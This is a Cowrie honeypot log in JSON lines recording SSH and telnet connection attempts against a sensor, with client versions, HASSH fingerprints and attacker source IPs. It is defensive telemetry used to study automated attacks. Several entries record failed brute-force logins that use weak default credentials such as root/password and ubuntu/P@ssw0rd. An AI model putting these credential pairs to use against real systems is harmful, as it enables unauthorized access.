{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rd","message":"login attempt [ubuntu/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:21.618667Z","src_ip":"176.65.139.103","session":"79839c36ea16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:22.794725Z","src_ip":"176.65.139.103","session":"79839c36ea16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":49546,"dst_ip":"10.17.0.5","dst_port":22,"session":"38cb07f94612","protocol":"ssh","message":"New connection: 176.65.139.103:49546 (10.17.0.5:22) [session: 38cb07f94612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:27.695908Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:27.700675Z","src_ip":"176.65.139.103","session":"38cb07f94612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:27.784238Z","src_ip":"176.65.139.103","session":"38cb07f94612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.126.86.110","src_port":52684,"dst_ip":"10.17.0.5","dst_port":23,"session":"98065ec86039","protocol":"telnet","message":"New connection: 103.126.86.110:52684 (10.17.0.5:23) [session: 98065ec86039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:28.194501Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu123456","message":"login attempt [ubuntu/ubuntu123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:28.329482Z","src_ip":"176.65.139.103","session":"38cb07f94612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:29.417150Z","src_ip":"176.65.139.103","session":"38cb07f94612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58222,"dst_ip":"10.17.0.5","dst_port":22,"session":"c2df0537380b","protocol":"ssh","message":"New connection: 176.65.139.103:58222 (10.17.0.5:22) [session: c2df0537380b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:34.650935Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:34.656266Z","src_ip":"176.65.139.103","session":"c2df0537380b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:34.739721Z","src_ip":"176.65.139.103","session":"c2df0537380b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo16","password":"odoo16","message":"login attempt [odoo16/odoo16] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:34.988819Z","src_ip":"176.65.139.103","session":"c2df0537380b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:36.171865Z","src_ip":"176.65.139.103","session":"c2df0537380b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.218.176","src_port":43502,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba6fea74ce81","protocol":"ssh","message":"New connection: 159.203.218.176:43502 (159.203.135.109:22) [session: ba6fea74ce81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:38.670935Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:38.744920Z","src_ip":"159.203.218.176","session":"ba6fea74ce81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":58228,"dst_ip":"10.17.0.5","dst_port":22,"session":"444359316170","protocol":"ssh","message":"New connection: 176.65.139.103:58228 (10.17.0.5:22) [session: 444359316170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:41.671408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:41.682509Z","src_ip":"176.65.139.103","session":"444359316170","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:41.756359Z","src_ip":"176.65.139.103","session":"444359316170","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@123","message":"login attempt [root/Pass@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:42.081095Z","src_ip":"176.65.139.103","session":"444359316170","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.627549409866333,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:42.821878Z","src_ip":"103.126.86.110","session":"98065ec86039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:43.165599Z","src_ip":"176.65.139.103","session":"444359316170","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":59136,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e296e9e07af","protocol":"ssh","message":"New connection: 176.65.139.103:59136 (10.17.0.5:22) [session: 4e296e9e07af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:48.391433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:48.396397Z","src_ip":"176.65.139.103","session":"4e296e9e07af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:48.478312Z","src_ip":"176.65.139.103","session":"4e296e9e07af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:48.734483Z","src_ip":"176.65.139.103","session":"4e296e9e07af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":37830,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d93f2f95072","protocol":"ssh","message":"New connection: 80.94.92.182:37830 (10.17.0.5:22) [session: 0d93f2f95072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:49.046347Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:49.883942Z","src_ip":"176.65.139.103","session":"4e296e9e07af","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:49.947731Z","src_ip":"80.94.92.182","session":"0d93f2f95072","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:49.951711Z","src_ip":"80.94.92.182","session":"0d93f2f95072","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"!@#$%^","message":"login attempt [solana/!@#$%^] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:50.715100Z","src_ip":"80.94.92.182","session":"0d93f2f95072","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:51.865373Z","src_ip":"80.94.92.182","session":"0d93f2f95072","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53952,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f03acc7266","protocol":"ssh","message":"New connection: 176.65.139.103:53952 (10.17.0.5:22) [session: a8f03acc7266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:55.143819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:55.148820Z","src_ip":"176.65.139.103","session":"a8f03acc7266","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:55.233781Z","src_ip":"176.65.139.103","session":"a8f03acc7266","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:55.634354Z","src_ip":"176.65.139.103","session":"a8f03acc7266","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:19:56.867989Z","src_ip":"176.65.139.103","session":"a8f03acc7266","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53954,"dst_ip":"10.17.0.5","dst_port":22,"session":"5482915a7bbf","protocol":"ssh","message":"New connection: 176.65.139.103:53954 (10.17.0.5:22) [session: 5482915a7bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:01.960428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:01.979166Z","src_ip":"176.65.139.103","session":"5482915a7bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:02.053976Z","src_ip":"176.65.139.103","session":"5482915a7bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39232,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d8303067eea","protocol":"ssh","message":"New connection: 159.203.92.129:39232 (159.203.135.109:22) [session: 7d8303067eea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:02.346943Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx","message":"login attempt [root/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:02.406528Z","src_ip":"176.65.139.103","session":"5482915a7bbf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:02.520418Z","src_ip":"159.203.92.129","session":"7d8303067eea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:20:02.530879Z","src_ip":"159.203.92.129","session":"7d8303067eea","protocol":"ssh"}
